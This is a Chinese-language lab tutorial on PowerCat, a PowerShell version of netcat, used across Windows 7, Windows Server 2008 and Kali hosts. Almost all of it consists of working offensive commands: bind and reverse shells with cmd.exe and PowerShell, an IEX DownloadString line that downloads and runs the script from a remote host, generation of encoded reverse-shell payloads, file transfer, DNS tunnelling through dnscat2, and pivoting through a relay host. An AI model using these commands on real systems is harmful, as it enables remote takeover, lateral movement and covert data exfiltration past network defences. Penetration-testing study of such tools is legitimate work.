网络层隧道之PowerCat
PowerCat可以说是nc的PowerShell版本。可以通过执行命令回到本地运行,亦可以使用远程权限运行。
- 下载地址:https://github.com/besimorhino/powercat
切换到该目录,输入:Import-Module ./powercat.ps1
发现报错。输入 "Set-ExecutionPolicy RemoteSigned",然后输入y,再次运行就行了 - Powercat命令操作详解
测试环境:
window7 192.168.2.183 1.1.1.11
winserver2008 1.1.1.4
KaliLinux 192.168.2.181 - 通过nc正向连接Powercat
在win7执行监听命令: powercat -l -p 8080 -e cmd.exe -v
然后在kali执行: netcat win7的外网ip 8080 -vv - 通过nc反向连接powercat
在KaliLinux执行下列命令:
netcat -l -p 8888 -vv
在win7执行:
powercat -c Kali的ip -p 8888 -v -e cmd.exe - 通过Powercat返回Powershell
在Winserver2008中执行:
IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.10/powercat.ps1')
在win7中执行:
powercat -c 1.1.1.129 -p 9999 -v -ep - 通过Powercat传输文件
在win7新建test.txt文件,放在c盘根目录、在winserver2008中执行下列命令。
powercat -l -p 9999 -of test.txt -v
回到win7中,执行如下命令:
powercat -c 1.1.1.4 -p 9999 -i c:\test.txt -v - 用PowerCat生成Payload
在Win7执行下面命令:
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
将生成的ps1文件上传到Winserver2008中并且执行,然后在win7中执行如下命令,就可以获得一个反弹shell:
powercat -c 1.1.1.4 -p 8000 -v
如果想反弹Powershell,可以执行如下命令:
powercat -l -p 8000 -ep -v -g >> shell.ps1
生成经过编码的Payload。在win7执行如下命令:
powercat -c 1.1.1.4 -p 9999 -ep -ge
继续在win7执行:
powercat -l -p 9999 -v - Powercat DNS隧道通信
首先需要安装dnscat,然后在安装了dnscat的Linux主机上执行如下命令:
ruby dnscat2.rb ttpowercat.test -e open --no-cache
然后在win7上执行下面命令,就能看到dnscat上面的反弹shell:
powercat -c 192.168.2.181 -p 53 -dns ttpowercat.test -e cmd.exe - 将Powercat作为跳板
将win7作为跳板,让Kali连接winserver2008。首先,在winserver2008中执行:
powercat -l -v -p 9999 -e cmd.exe
然后在win7中执行:
powercat -l -v -p 8000 -r tcp:1.1.1.4:9999
最后,让kali和win7进行连接,win7就可以将流量转发给winserver2008。
在kali输入:
nc 192.168.2.183 8000 -vv
成功连接。
在这里也可以使用DNS协议。在win7中执行如下命令:
powercat -l -p 8000 -r dns::192.168.2.181::ttpowercat.test
在kali中输入如下命令,启动dnscat
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在winserver2008中输入下面命令,就可以反弹shell了
powercat -c -1.1.1.11 -p 8000 -v -e cmd.exe